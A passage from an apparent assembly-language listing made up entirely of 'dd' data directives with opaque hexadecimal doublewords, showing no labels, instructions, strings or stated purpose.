0A7D9B3D8h, 5D195EC5h dd 0CA37BED6h, 0EB34B21h, 330F17EDh, 0B46D912Fh, 0D51AC711h dd 3BC4B99h, 27F2AC86h, 91FF01Eh, 0EE3D16A3h, 4E8C618Dh dd 0BDCBF425h, 0F2752733h, 2DBBA4CBh, 20047CD8h, 806C5E2h dd 0D2E5AA30h, 0DA428C81h, 544CE8D8h, 0FBD3E3CEh, 41106570h dd 62F13763h, 0F637B809h, 1213D2CEh, 0A8E42100h, 0AD4FC751h dd 54E336A8h, 0E4158C90h, 0F27E90D4h, 655DCA97h, 8CD0F3C8h dd 71615766h, 0BCC54736h, 0C0AC8624h, 0B58B18AAh, 0B15BC5BDh dd 0FB34379Eh, 45A0905Eh, 0F86ABFF5h, 56E08E14h, 5E9E780Dh dd 0A93CA5C6h, 101A0F2h, 6F436510h, 8B430BFEh, 0F7E1E2FAh dd 0D9E555ADh, 755219E1h, 1293BE5Fh, 905C5F5Ah, 4BE570E5h dd 0B75FC6Fh, 928AB8C5h, 2B6DF75h, 54703F48h, 0E90A5BE9h dd 0B51499E7h, 8A70EACh dd 0E873FC30h, 0A5D4E238h, 19C88DCDh, 0FA7DCAD3h, 414BD75Ah dd 2F3D8060h, 0C193D316h, 0B0CD2FBEh, 22864031h, 0B087609Dh dd 0F9D871ACh, 0D4A9374Dh, 24FC9C9Dh, 2184EB2Bh, 0AE96BC22h dd 0E1F70859h, 6F101661h, 9D189DD7h, 3B144C47h, 0DA0CA143h dd 4473007h, 46EA1CF0h, 91D636E7h, 0F04ADF2Eh, 9B474D3Ch dd 5F11E5C5h, 0E4850246h, 9A7D5C69h, 2408A88Bh, 0CDD83671h dd 4866E183h, 48016BBEh, 573AD186h, 3ED6F54Bh, 8BD6AF7Eh dd 0BCFDA4ADh, 0FDF322D8h, 55137036h, 0B0CEE530h, 0B53EA171h dd 85513972h, 5119A39Dh, 0B958E2CBh, 0C35D7D82h, 0DF7D3C49h dd 8E3E4387h, 565B5F71h, 2A679C47h, 6569464Ah, 6BE4D3CCh dd 0EF4E5A5Ch, 90410706h, 75A9B48Bh, 45FA9743h, 0A1B19E83h dd 20C03949h, 95AC578Eh, 7DCA6291h, 2A15C711h, 6C70D31Bh dd 62E1AA72h, 5952B7BDh, 0D11D8BC2h, 5FC9D2F0h, 88B253A2h dd 566FB15Ah, 0D9051D6Ah, 34E9347Bh, 1721983Bh, 4B1E47CBh dd 0DFA1FF57h, 0F2CB5089h, 0C8ABA53h, 32E47157h, 0B801E36Dh dd 0E69E60D6h, 3702B5Bh, 0D0E78839h, 6E59C510h, 0D111E336h dd 226B2771h, 0BD1CB06h, 0B438A9D5h, 82BE17DDh, 0C19E3074h dd 7C564C99h, 3217E7D8h, 356D08Eh, 8E149AB0h, 0C7A37CECh dd 6F5A50D1h, 82C2B040h, 6025AA11h, 241F865Dh, 0BAAE5ADDh dd 56A8FD30h, 92FA08B8h, 52B61C8h, 0D89A7900h, 0EE5E8D1Ch dd 0A1CB874Dh, 23986CFCh, 75953BE8h, 7785050Dh, 0F6CE25AEh dd 1BE8FC4Ah, 8A421601h, 2E805594h, 0EE1726D9h, 1D3E83A9h dd 856906F3h, 4FF66086h, 879486AEh, 0A8DB8E6Ch, 8452811Ch dd 0A0498F0Bh, 0F00A9865h, 4D2B6966h, 0A2AC521Ah, 0EEE1E1ACh dd 1883CA6Ch, 36058443h, 0C711D3F0h, 325C5DAh, 0FD7A447Ch dd 7D6B6F12h, 0BB53BB03h, 779CCC8Bh, 540638ECh, 9518A98h dd 0B9D5DAFFh, 30BA37B6h, 7EE147CFh, 0F234B244h, 9AAE828Ah dd 3DDEF4B4h, 763BE5DEh, 70565C9Fh, 0C54606F5h, 29EC9BB5h dd 9285C3C3h, 5B7A6CD9h, 74DF9429h, 0C240C0E5h, 873031F6h dd 765D895Bh, 0D06AD728h, 5F30D17Eh, 1F0813F7h, 0FBB6BAFFh dd 7C2B85h, 947AF248h, 3DE8335Ch, 0ABAB1EB2h, 0E75965F8h dd 4C4B37A7h, 420DF508h, 132AF8F4h, 9396327Dh, 284CB9F0h dd 0EE53F9B4h, 0BBD27F9Eh, 179079DEh, 3A76F6BBh, 5AC455DBh dd 3753FD53h, 4EB17C21h, 0D1358AB4h, 645B3540h, 84C923ABh dd 0DEC4C2D1h, 508222B9h, 481FACF3h, 0DD010A9Fh, 0D1551BA3h dd 0C28BAA59h, 9A94DDA6h, 90179E7Fh, 1383127Dh, 7E62CB13h dd 32AE1011h, 7464EBCh, 1FB65B41h, 0C9CE25F4h, 0DC58B9EBh dd 0DDE4A0E7h, 838B4086h, 646101C7h, 0AEE0F5ECh, 178AA3DFh dd 3BBB923Dh, 6F9C23D6h, 0A32001DDh, 1B31E3D8h, 0E8FE6FB4h dd 8031B3Eh, 3E180869h, 0CB9C4C6Fh, 4D876066h, 0E13A7242h dd 8392D826h, 9E7ED40Ch, 11BC4251h, 0AC9E014Ch, 71D632A1h dd 598AF9D7h, 0DC998068h, 5316488Ch, 6C47AD4Ch, 6A8FF8Bh dd 55D1A12Eh, 6D0E9634h, 54D5CFBBh, 26DF8F6Ch, 643A2650h dd 0E1417CB8h, 773DCA89h, 33D62A58h, 0B9F8883Ah, 0DC7C98E6h dd 0FAE3F17Ch, 0FC4E0502h, 1B16EDFEh, 60C10DB9h, 5F0963D5h dd 375FB330h, 64315CA0h, 0C19B9B9Ch, 29A2C49h, 979A4CB1h dd 0C3D9AE8Dh, 5EF067Eh, 0BF43B0CAh, 0D0FB20D4h, 1E2B63EAh dd 0DACFD6BAh, 6157F09Ch, 0DC391597h, 32A646Eh, 0AD1144DCh dd 74ADBF78h, 7065488Bh, 0EC09CA80h, 21C4687Bh, 7073BB26h dd 0F8E30DC0h, 0CDBA04D1h, 0E403FA07h, 209D360Bh, 3FBEAC2Bh dd 48E80DC1h, 5B1F3D93h, 9C51A01Ch, 0C2B08682h, 4A347219h dd 5EAF9ACh, 452B1099h, 0DD060E98h, 0D1ECA12Bh, 785FD85Ch dd 0A85230FAh, 8BB6A700h, 0C3E926E9h, 15ABF5Ch, 8CD78972h dd 307E774Eh, 8BD22CA5h, 8451B4DAh, 0AF5D2AE3h, 0D8F8155h dd 0E52161A9h, 531589C7h, 4E2D13CFh, 9818094Fh, 0A60369E1h dd 2F3B15C6h, 37498F8Fh, 0C7555CECh, 0E54C1E15h, 0B41CFD4Fh dd 8A960DB6h, 89641473h, 23C24D31h, 0F222FDAAh, 0AA56F277h dd 34EDD888h, 0AF13E8EEh, 1AF2AFEh, 0C1C1DEF5h, 0B13377A5h dd 0E123C30Bh, 0A907F2E1h, 0E534F317h, 5120382Dh, 0BFC017C5h dd 0D267E5F8h, 0AB08349Fh, 2EFC0411h, 8F6083FEh, 5B10D6FCh dd 0C48E9C15h, 2B453C90h, 422721D5h, 4E324113h, 0FEE05193h dd 0A0D56064h, 0A34EE70Ah, 86306BFEh, 27060400h, 0B4F266E1h dd 61851066h, 2EAD6D33h, 0B239F8DFh, 0D7099CDh, 93B12878h dd 9ED3AAB6h, 5BA45577h, 0BA7A52EBh, 0DA452A5Fh, 0E6ACDA94h dd 6C4E9D0Eh, 1F9205FAh, 56BB746Dh, 15BF3EEBh, 0AA11A544h dd 737D728h, 0CE09440Bh, 97794E71h, 0B6ADD3ECh, 66CA305Fh dd 50580F02h, 61DC32D0h, 0CA145B9Dh, 0B9AD661Ah, 29CAB373h dd 0C1F47033h, 11059B70h, 8197AF6Dh, 0B56887B0h, 0B89A1C00h dd 9372FC6Ch, 557A99D5h, 6A722E21h, 65DAE65Eh, 0FC5E3866h dd 98089A66h, 2DFEFAE0h, 2E80BDF8h, 2ECD46A2h, 51FE4483h dd 29A30164h, 7DD224B4h, 21A3F2B5h, 34547166h, 40133EFFh dd 3C8E6F95h, 46923722h, 760C50CFh, 0F9028CBDh, 0DCC7B391h dd 7317EF57h, 0B51F051Ch, 93F6F6Fh, 0B269071Eh, 0C7A13C2Ch dd 3956BBCCh, 0F975BEC6h, 0A100B68Ch, 79C52F47h, 0A19CDCE4h dd 0DE7F623Dh, 7986D567h, 76D9D84Bh, 38B906AFh, 0E6B4A059h dd 0A31FEC8Ch, 3BC3E133h, 78700679h, 1EA17AF2h, 59CB428h dd 0E3BC1E5Fh, 0F1F05E3Fh, 0DA28CA33h, 6ED11E9h, 33000E9Bh dd 0A7BA775Eh, 132453AAh, 0A4CB1FC0h, 0F8E5E06Eh, 2348E9C1h dd 0EF944DD0h, 75D12B62h, 5CA0C790h, 0CE80E8C7h, 0ED590F25h dd 0F2662C01h, 75113F73h, 0E5D60D7Dh, 8E92F9EDh, 0C7EE8E0Bh dd 0BAE4CE54h, 59C7DEEh, 23F2149h, 82319566h, 0F7941E4Ch dd 68EFC847h, 0F8EDA851h, 7EAEFC7Dh, 8D9974B2h, 0B17037D8h dd 14A25BA4h, 6DEE8EC0h, 59B1B7DCh, 0AC53EA05h, 54EB403Fh dd 0A53CB299h, 417C7812h, 0D6262F69h, 430E8F42h, 0FE4E4059h dd 5D157C02h, 948E71FEh, 3A8AC9BCh, 0D39A919Ch, 3AE8EAB7h dd 40D53C6Ah, 0B7760F70h, 0E2B14111h, 0F177ABE4h, 65B5584h dd 3AA34F80h, 0F7D5016Eh, 374BFD5Fh, 0EA14B71Eh, 1404ED9Bh dd 0A82FFF3h, 0E3FBEA9Ah, 29571A37h, 11D76Fh, 3EEBEEC1h dd 0CABC6FFAh, 65433AE8h, 0CBECC17h, 46F888F9h, 0AA4E32EBh dd 947B05EDh, 0EE4D2826h, 3120B507h, 0A1A23D1h, 3CB78DF0h dd 286C71FDh, 0FB122770h, 9485C0EBh, 1ACEF264h, 2D4B1B6Dh dd 0D5066667h, 59D0398h, 1A15B424h, 2DF8466Fh, 3B99406Bh dd 67A91536h, 0A7E72E58h, 91D406B2h, 0F02AAC22h, 0B4A83CCCh dd 4F86E0D5h, 438CBC58h, 0F0BC4EEAh, 847CF9B5h, 78ED4EFFh dd 0D05D7AF4h, 8C44222Ch, 4EB479CBh, 81666698h, 0EF3171F1h dd 5144F64Dh, 582DABE6h, 76C98259h, 65FC93B9h, 0EAC0B14Ch dd 90C1129Bh, 4CF4CDE6h, 672C6639h, 9DB0E878h, 5167EF69h dd 73FECCF2h, 0FB586299h, 73748539h, 0B2CA2CEh, 7CD7859Ah dd 0C2DE025Fh, 0E5F6C552h, 88C2F328h, 11C2A81Ch, 5D231B49h dd 2A0EDD01h, 458455DEh, 58D883E3h, 6EF40011h, 571D20AAh dd 0DD2A68F0h, 0B5C15079h, 0C351921h, 28571701h, 0F8C31B27h dd 3F885ABFh, 0E8406D54h, 8BCB3BC5h, 77E3362Eh, 0D87BD5Fh dd 1D6806D3h, 0BD670748h dd 0BF52EDD9h, 769CFDDEh, 0BC0F68CDh, 900EA008h, 5D33D6CDh dd 0A8D9A779h, 0A86E66C0h, 1DD9BBCBh, 0E49CF09h, 3D65BBD4h dd 0B59D8BFEh, 5AE047ACh, 3B173AABh, 6EB012D0h, 54A87106h dd 0DF7F1CC1h, 1ED44249h, 8CE7F24Eh, 68480548h, 6995D87Dh dd 0C9A6E2FDh, 0B63B56C4h, 6427359Fh, 34D4CE50h, 0B91C1749h dd 3506D9F1h, 0E139D174h, 52BE865Ah, 60513840h, 0B3C107C0h dd 5BA45FACh, 0E8A50524h, 0E6F8D77Ch, 3A38DD33h, 99C7FB61h dd 0DAD4CE70h, 19CE5E3h, 0BFDA2A4Fh, 0DC3D26D1h, 0AF1F901Fh dd 0C0E56400h, 0D3689691h, 3DEF8DE4h, 0A1613E80h, 0E448FB20h dd 0CA76A164h, 8D26DC12h, 0BF11E32Bh, 4D0D97C9h, 0FACD934Bh dd 0F066C711h, 245DC639h, 4F890EA5h, 0A0B43186h, 6C92920Ah dd 0F6602F5Eh, 60A4B6BEh, 4EB978F7h, 0B0B024E5h, 31D7FB40h dd 0BD1B9CE7h, 0A42B9841h, 3A7F58BBh, 0D45897A8h, 5F7ADBC3h dd 0BA10265Eh, 0E16C5607h, 793FAD3Dh, 0DB2FB746h, 4B427E1Eh dd 3FA231E6h, 969919A2h, 0CF9E78A4h, 333D5FFCh, 0FCF0A6EBh dd 0EA5A5512h, 0A955054h, 7FFF4C3Ah, 0EAE4E4A6h, 0F231CC7h dd 72918C75h, 104BBA06h, 9F7FF3A7h, 0BDB045A2h, 3F825C7Ah dd 0E4573E7Ah, 0F4DC9D83h, 7E23BCC7h, 62833B5Fh, 17FB500Ah dd 8DE4FCD7h, 5D833ECCh, 0B73C67EEh, 0EEF27CBFh, 765BC19Ah dd 0DF749820h, 0EB9168F4h, 0D6260A97h, 23A3C12h, 0D9419076h dd 8E1E0180h, 0E2388C80h, 0EBFE9808h, 0D7B355h, 2F9D3147h dd 84334342h, 0E213CAC4h, 7798BEAh, 56908022h, 25169F61h dd 298762CEh, 56E95E00h, 0F014B262h, 0B54BBBA5h, 727610FDh dd 7F043AF5h, 0A50A92E9h, 2119F7B9h, 1FA88797h, 5F3228D4h dd 973D38A7h, 0E634E3A7h, 0EF8BC9F5h, 9CF67DCAh, 604511F8h dd 0AB8C87F1h, 856612A9h, 0F43C0332h, 3E3A925Ah, 62E244E4h dd 8C03B4C9h, 0D48580DCh, 25A82E85h, 5A30EE54h, 2F3787A1h dd 564D6458h, 794ED057h, 14DCFABFh, 4266378Ah, 7C18112Ch dd 5C317D44h, 97D1E9DBh, 55DC77FCh, 9BBA317Ch, 0E3539233h dd 0A850D189h, 0EACA4BCAh, 4CEF8681h, 0B1910BAh, 0C552BEA2h dd 4E85C92Bh, 47A114FEh, 4B278EACh, 5134874Eh, 7EA4D941h dd 18372EE6h, 24E30E03h, 0F80E118Fh, 0A0B32F9Eh, 0C263BC95h dd 0DA76654Ah, 424927DFh, 56825F0h, 429962ADh, 0EA3D4F7h dd 1BFB6BFBh, 0E3F6CC18h, 3C8758C4h, 0B5F5F1B1h, 305CB8B5h dd 11DB2160h, 1E2BDE17h, 9404C06h, 0A6E2E553h, 801D1B2Fh dd 159102A8h, 8731DD8Eh, 6B4EB34Fh, 4EC2F93Fh, 65A4D381h dd 60767E0h, 0F24BE4B6h, 0D00F9908h, 0C68E6B8Fh, 2F43850Fh dd 2621C5C1h, 56D9F672h, 97AD762h, 404EF54Bh, 726E47D1h dd 0A6BCA756h, 0DE7D2BC7h, 28CE1B49h, 15C7621Ah, 9F150898h dd 0F9ED9601h, 1C1A7F57h, 0ECCB52E6h, 20334D10h, 3F06BCD7h dd 0EBAE8FBFh, 1D2810B0h, 79111EAh, 5543B7BFh, 0A60A3116h dd 0B1505610h, 1C372683h, 0F5E87F37h, 0A4FD8B6Bh, 8E646C24h dd 0DDD3BFA8h, 777513D2h, 0E949BC1Dh, 0AE3B5E78h, 0BFE146C0h dd 0B09B6140h, 0D50C2A49h, 0FD2ACBEBh, 1060B413h, 0BCB9DFF6h dd 0E1C4E686h, 1A9FCA47h, 91A7844h, 53DCAB7Fh, 5CD11572h dd 0B4360B91h, 0A4E36F18h, 0C05DD2A8h, 0C667ABAFh, 0B64AECE6h dd 53894883h, 35E6C3FEh, 0A1303508h, 0DC236504h, 43310913h dd 2351994Eh, 293DF3B8h, 6C8BC699h, 0A7787E72h, 5F1D2E87h dd 0AA332F3Fh, 6938B358h, 20AD76DCh, 915B6619h, 0DE0C9752h dd 9752C37Eh, 0C099E1AEh, 0D8A922BCh, 0C9B3EFE5h, 87A9940Bh dd 0B583ECh, 0B78E2E5Bh, 50FB18F8h, 31F7F977h, 0E0E9D6C9h dd 8794A62Ch, 1C7C399Dh, 5C0C48F8h, 0F262EBD0h, 0EC1EF362h dd 5DCCCB21h, 0D5B588CEh, 0F6C1C151h, 9887197Fh, 0ED00E5C1h dd 54C4E7DBh, 1E39D533h, 3769030Ah, 60458556h, 0D27EB89Ah dd 2A88D6F8h, 0E9827918h, 7E2764CEh, 8AC740BAh, 5DED7FFAh dd 46BE2582h, 9F524060h, 7C0C1909h, 0CCA5D122h, 0E03AA91Eh dd 4FE64798h, 0A5687E68h, 6B6936ABh, 2F70310h, 0AEF9C40Eh dd 75CE6407h, 0BCD1E735h, 0CF28CA9Ch, 46D863DFh, 22AF3056h dd 0CCD36D5Eh, 0FFB03561h, 0D00859CFh, 9BB7270Ah, 43128141h dd 0EF80DE6Fh, 1884B8B0h, 0EF855DEAh, 0EEB8A73Dh, 5EAC0CFDh dd 0EBE230EAh, 36B4A926h, 349E369Dh, 0E8D874E2h, 78C386Eh dd 104356FAh, 39050149h, 0F8132C1Dh, 771FBA09h, 76B9D0D0h dd 77849B71h, 562799E2h, 43FB024h, 8DD4AE59h, 0FE125FE0h dd 98688C25h, 2478F683h, 8D42CEB4h, 9F7779E3h, 4AF4E054h dd 8B8CC6DAh, 0C24B9ED4h, 0BEAF90DAh, 0C2CB415Eh, 9C70A525h dd 34CE1C04h, 0A5CE84CBh, 9F2D1B73h, 0B50C65AEh, 0CF040392h dd 0BD89351h, 6CD7913Fh, 0A8030C17h, 0F3AD3F89h, 0D391241h dd 2A42E4FAh, 0F4612685h, 0C5519187h, 297CDA6Bh, 72B40A01h dd 0B3B078A5h, 0F177AE3Fh, 3E539B00h, 70E0F42Ch, 7BE11231h dd 58E66C0Bh, 206DB49h, 0BFE2167Ah, 936B0D59h, 0BD692F88h dd 95BAC1F6h, 4C061604h, 0B99D1CB4h, 0E99AE235h, 87AACAECh dd 22392255h, 42A40A60h, 0D33D6083h, 0EA45D80Bh, 0F4BF38A4h dd 6E24A509h, 8C23AE5h, 3C8BF09Eh, 0C58CB82Fh, 4FC79898h dd 5E867C27h, 5F698798h, 0EFE07A99h, 0E7091490h, 0BC74347Ah dd 0C33BB662h, 144CFA56h, 0F43E3D25h, 80160D80h, 0C7EB1CE1h dd 54C4CE91h, 0E0A67379h, 9BFB1ECCh, 7628069h, 0B9DB7A02h dd 3ADDA9ABh, 0AB6E71A8h, 0CCE33E46h, 0D7A0414Ah, 0ABD35D0Fh dd 558FEEC3h, 9A0A4B6Fh, 0E6701BAh, 0C19778C9h, 0E7897334h dd 0A9640C21h, 0A0CBB37Bh, 188CE648h, 0F2E4AC19h, 0E0EE61A2h dd 0BA011BADh, 75F5BB7Bh, 35840CDAh, 0DC8DC1A2h, 0B42F2EFEh dd 4535C83h, 3EA6E980h, 0FBB57EADh, 80DF7EBCh, 0AC6BEBF2h dd 2C78A6D7h, 0F9363DAh, 94CE2E24h, 0F48F380Ah, 3DADBFFCh dd 0A79EF0D2h, 0F542A0E8h, 2A8B4CCh, 0C3EA1046h, 0A09B99AFh dd 0AA5EA8AFh, 4E969833h, 3A58E7AEh, 0CE582194h, 9CE4B723h dd 0FE9AEB4Dh, 0D69450Bh, 0CF19E3BBh, 7796B24Ch, 754216F2h dd 57FAF9DEh, 8B3308DBh, 49B1B30Eh, 7286835Fh, 0F873736Fh dd 0E3639AA5h, 89DE2D18h, 0B0F3C811h, 0C8252387h, 0D7AAD3D2h dd 8F61B46Fh, 0B5F8D02Dh, 89C8E0Ch, 0AEA80A8Eh, 0D6D51FCDh dd 33ADF20Bh, 1D6250B3h, 0F6071542h, 7B3809F4h, 0EC60F00h dd 0B83C2EC5h, 9076733h, 72313473h, 7708CF30h, 0EF67FBB2h dd 46A1004Fh, 0AD7FFFD6h, 99579B90h, 5F23D7C5h, 0A8D3751Fh dd 2E4E7C62h, 0D3D613C8h, 0FA5B79F2h, 335ADAE2h, 56329BA2h dd 0E10C54B1h, 9D560A91h, 17621133h, 0BBEB0D1Fh, 45FBB861h dd 135C04E4h, 892FBE54h, 0FDB209C6h, 5C58C4F7h, 517CF14Ch dd 394195C8h, 0FEAC6621h, 0EF9BC6E4h, 85FBE5F6h, 0A315FC8Fh dd 69089969h, 0D26B222Bh, 2B625B96h, 0E263E6EFh, 0EFE120E3h dd 61664FF9h, 0B4B07CE3h, 855BAB9Fh, 390E7425h, 0A81B4C37h dd 0FA04BC9Ch, 0B369B1E0h, 2E2A09Ah, 0CA173687h, 0B95ED8A1h dd 57822333h, 9AAC6CF4h, 9004B231h, 0C8CD1A35h, 0C0031061h dd 57FD4081h, 9C21365Bh, 0C4D8EF0Bh, 0D0CDCC6Ch, 0A02BF54Eh dd 0FBA2D444h, 1BB62B11h, 0B3936D0h, 5D36AC14h, 0D2C56E4h dd 7A71256Ah, 0D72D572Fh, 0EE4A3504h, 3296E9BDh, 320D038Fh dd 3358BE4Fh, 4F68BB61h dd 5FDA0A96h, 49883A41h, 7A294D23h, 75A261C1h, 5DA12868h dd 0A901A74Ch, 0F2A46F0Eh, 0CB0D8430h, 9CA446A6h, 4857BDCDh dd 41BC41Eh, 0CEACDF8Ch, 7A4FE586h, 29D99637h, 0C7DE3DF5h dd 5C566B4Bh, 7C35F0AEh, 29408BBEh, 0AB9CF1E3h, 0D91A550h dd 6BCA917Eh, 0A969A195h, 0B5916A31h, 71751AC1h, 857C0275h dd 95C9DB35h, 0D4B079E6h, 514EF63Ch, 0F533AF4Ch, 0AF99BEFDh dd 74A83FBDh, 0CAD6AC0Dh, 0E735680Ah, 0BFEBD7DCh, 373921E9h dd 722B411Ch, 0C6DB33AEh, 762FA603h, 6BCD222Ah, 9D0F958Fh dd 868FD177h, 0AE7DD295h, 0B97E2245h, 847B4FA8h, 0ECD8DCAEh dd 6A0A49C7h, 3A832A79h, 18B15410h, 12EA42h, 72DB0E9Fh dd 8CB26A3Dh, 0F3EF1DB2h, 703AA2Eh, 0EDC159F4h, 83B3AF25h dd 0E466F71h, 0F2766648h, 5D6AFF5Bh, 59D22402h, 0ED44A2D8h dd 0ED0B29Ah, 0FDAC5729h, 644758B6h, 0B8AB9D89h, 16CAC711h dd 6E5E43B9h, 798FFAE4h, 0FF5318CFh, 5E7D29F0h, 8F791E22h dd 52AEAB8h, 34FE0060h, 4D39C660h, 52D5B800h, 1F27D78Eh dd 2A24AEE7h, 29AC5665h, 2453F0D2h, 23CB99EAh, 36916656h dd 0CE3EA7D6h, 93C33693h, 0FC46A6B4h, 0CDCFBFD9h, 18CA6BA8h dd 900DEC81h, 8A49388h, 7CAFC84Bh, 683DF93h, 5E1CDD7Bh dd 49B5C8B4h, 72C67DC2h, 906EF7CCh, 0A2BBFF85h, 0BDE70326h dd 0FC8A0FA6h, 0B9BED1ECh, 449ACE57h, 24B7EA43h, 3402AE8Ah dd 0F269CD70h, 0C8FB49DCh, 312761CAh, 23AB2270h, 0F9CDAD94h dd 0F44D33C9h, 8ECE2B8Fh, 0D10FE0BBh, 0B792F42Bh, 23633804h dd 0C9BAC5BAh, 3699EC8Ah, 0BC0FCC0Ch, 2638342Eh, 79661BD7h dd 45CE96BDh, 9A4820DFh, 16EF002h, 85FBE2B2h, 57815554h dd 0D58E4B8Eh, 99AF7AF9h, 0C12D3B31h, 5CBFD0B9h, 0EA1EBD9h dd 3FF17359h, 0B5B1E151h, 41823B35h, 0FB86FB9Ch, 1790A1C3h dd 7F856838h, 0F284E12Ch, 861A2F46h, 0EDA27AF6h, 3272B415h dd 78E6B052h, 0CF7FA26Fh, 0CFAB6184h, 9BE596F9h, 8BBEAE76h dd 0AD881613h, 543069F8h, 0F69C31DBh, 118B428Fh, 650E826Ch dd 0ED06FCFDh, 5B743B68h, 9B18F07Ah, 7C7B8CD9h, 391A8C28h dd 4099844Bh, 2BF7D26Ah, 0E9FEE6C7h, 5106B288h, 8B9BB4ECh dd 225AF8DBh, 0E5D1D56Ch, 57A965DFh, 0C62870B5h, 999FC713h dd 0FD768CB0h, 1D5EE957h, 7FAD45DFh, 0EBD62674h, 28BF4861h dd 0F06288CAh, 92782D0Dh, 7744ADF7h, 666265D4h, 78480B96h dd 0CB4B84EFh, 0B500AB00h, 8DC69446h, 0AC968BE6h, 9AF8151Ah dd 3B30031Ch, 71CECC1Dh, 0DF0451DEh, 80A011D6h, 9E50A77Bh dd 0EFAF85C3h, 4B576F21h, 0A94B41BDh, 0D96BE6A1h, 85308C86h dd 0CD33C090h, 4725A999h, 9B228BB8h, 0E2337AA0h, 5A29DDD9h dd 0A2B97FA5h, 0D47D607Fh, 2EE40903h, 0F4C079BEh, 0C97CB35Bh dd 0F2C0989Ah, 3F94430Bh, 0EFFC0FA4h, 6AEDBD8h, 510EF7DAh dd 0C7506CDFh, 6D831248h, 2B9D3BE8h, 8A33A3D6h, 0A088AFCFh dd 13FC7A45h, 0E6A34E29h, 37F20B7Bh, 0AF1A4E4Eh, 33A9CD4Eh dd 3C344BB4h, 0DB9F06DEh, 99D00A82h, 5C8BFDC8h, 0B43B56FBh dd 0E1824502h, 859FCBDFh, 27465CE8h, 83C18605h, 6037A8E1h dd 325D6DCFh, 9BCFF93Bh, 503A5787h, 0C00AADCEh, 0F75038A9h dd 5213C5BFh, 5D3DD9D6h, 0A1759589h, 7E38B6B6h, 9E230E00h dd 0E86DB6Ah, 35BACDB8h, 9942CA8Bh, 5A0E178Eh, 0E9930190h dd 0A7A9DEC5h, 88EA11E5h, 25062CD5h, 4F2AC500h, 9292ED01h dd 53D34ABCh, 98A3792Bh, 0E5467F68h, 4CBEB642h, 67739170h dd 0C824F7ABh, 0ED1A865Fh, 5045E2D5h, 15303063h, 5D1AF997h dd 25356DCEh, 0E0E60435h, 0C10591BCh, 0CD28D5EFh, 0D16F1800h dd 0BE7633C1h, 0D8927BB7h, 0BC9CB365h, 23FA00EFh, 415BA88Dh dd 214EEA5Fh, 4D8C8E45h, 8F059033h, 879803D1h, 0F835ED23h dd 0F6BF2C22h, 82F1B4h, 0AB0D8EB7h, 6A005CB5h, 7A3041A9h dd 4F14640Ah, 6A8F4B47h, 648EEB22h, 319A090Ch, 0D90C8406h dd 63DC622h, 0E7E1BF3Bh, 0B0954ED7h, 0BB3A7E47h, 71643140h dd 6A79D653h, 5F7B9B90h, 8DC58131h, 485E27E7h, 9F82A64Bh dd 5DF2045Fh, 0BAB49136h, 5B38FC7h, 6C917BF6h, 7AFBC531h dd 0ABB3E764h, 38385A8Ah, 0DE6456E0h, 0CFFC2DE6h, 0F8A74330h dd 6607A750h, 0A27825CEh, 380E6358h, 55DA09Ch, 671547A1h dd 0EE0A7DF0h, 0A00681A9h, 0DC3BE3C2h, 3A13DAEDh, 7498FCFCh dd 44E7B25Bh, 6C606B0Ah, 0BD1F0660h, 16ACCB5Bh, 0E4C5CDBCh dd 0D7BD89F6h, 55B06ECFh, 7A2BC80Bh, 6AC07F0Fh, 0C9A97A73h dd 0A020F4F5h, 24EC8537h, 5666463Dh, 0F4B80F43h, 0F8ED13EAh dd 0C69C67F5h, 0DC2A9DA8h, 881F0E54h, 85F7D885h, 370E769Dh dd 6AFF7304h, 0A7633AFBh, 7250DCA5h, 28197686h, 9ACBC71Bh dd 0A9A9432Dh, 0C1FBBA34h, 7544E464h, 0E7AE86F7h, 4051D6F9h dd 7A7D4962h, 0EA8553C0h, 9F70DB44h, 0D97CE71Ah, 51D9CD12h dd 74CEFE6Ah, 24731159h, 0BF49B056h, 0DA34AAEFh, 51D10B37h dd 0AD47318Ch, 8D44DB9Dh, 0E23B62A2h, 0AEA91CA4h, 704A2FC9h dd 0A41215ABh, 0C12E4601h, 85920A31h, 0DC14AFC3h, 3476A5E0h dd 0BCFA57EDh, 0ADBDF0F0h, 0E1A9A80Ch, 0AC4CCAD3h, 1C078942h dd 0B1023DC6h, 894EFF16h, 34E7FDC6h, 0CBF39223h, 3E2364Ch dd 6AE38C0Ch, 869B545Eh, 86C9A0CAh, 0ED710326h, 27D1813Fh dd 0CCD823FAh, 0A56325A6h, 0CCE8FE29h, 39B7ACD2h, 70DF2839h dd 326A55CEh, 0DE9BA7EBh, 0DA3341B4h, 0B0FBE178h, 0B42EA2A9h dd 0F94B0DEFh, 0A031E0DDh, 62F65854h, 0D028CA8h, 0C56B7F5Dh dd 0D7985CD9h, 8216F71Fh, 35EDB17Ah, 42D5E3C0h, 5F5F7400h dd 0CC26BA35h, 7B044D6Bh, 0EF963FFCh, 8A2559C9h, 9AD88B30h dd 93499D07h, 72D03FC1h, 19C0F9C4h, 0D97B623Fh, 64286628h dd 0C867A204h, 1BEB44D6h, 821C46F7h, 43C3CE95h, 5C2AFB82h dd 0F3E90768h, 0D0E8E997h, 688762C0h, 0D65788Bh, 0C08DA791h dd 0E071F273h, 0B45D7D97h, 353FD195h, 40BF1320h, 2D893258h dd 294987BBh, 3528F853h, 0AE6080Bh, 24E65EAEh, 56C4A496h dd 26A21FC2h, 89141638h, 90C87384h, 0AF2D75Ah, 0D0F78064h dd 4DA8E444h, 0EBB6CB9Eh, 7AF416A8h, 0D2063D9Fh, 0A720011Ch dd 6429B41Ch, 0B1F9FA1h, 23E37DF2h, 53F18377h, 0A8ADF15h dd 2E39BE7Ah, 0C8F94204h, 1551929h, 801DBA9Ch, 6B66E8DFh dd 2C084014h, 3AAAA337h, 82217F88h, 634448E6h, 4E83DFE9h dd 9830E67Ah, 0E33BFCA2h, 9C1117C1h, 7164F6A1h, 33DB6C09h dd 61A2CCD2h, 0FF10C240h, 0A8E2E4C2h, 3B372A9Fh, 0C19BC1C9h dd 196D1918h, 3857D495h, 4ECBD89Fh, 60518B02h, 0BAB543E6h dd 0EB6BA4DAh, 0F3EFE38Eh, 0DC733E3Eh, 2333BDD4h, 0F127E8E8h dd 28891AB8h, 10B05015h, 0B71BCCE0h, 6C4AA12Bh, 0F1F0A709h dd 0B8069536h, 0E1A354A7h, 35C5C4C0h, 7A493AECh, 0ACFA1FCDh dd 40D7642h, 0B13DC85h, 0B850F8B8h, 0B1FE5FB8h, 0F4E2EEC0h dd 127BD25Eh, 0A1FA4FACh, 0F3A0C573h, 23D92503h, 44CC71F7h dd 22DF7B08h, 5138EB55h, 0E0A7A83Ah, 0FBDCCD7Fh, 4AD8C27Bh dd 8ACAC105h, 373DF855h, 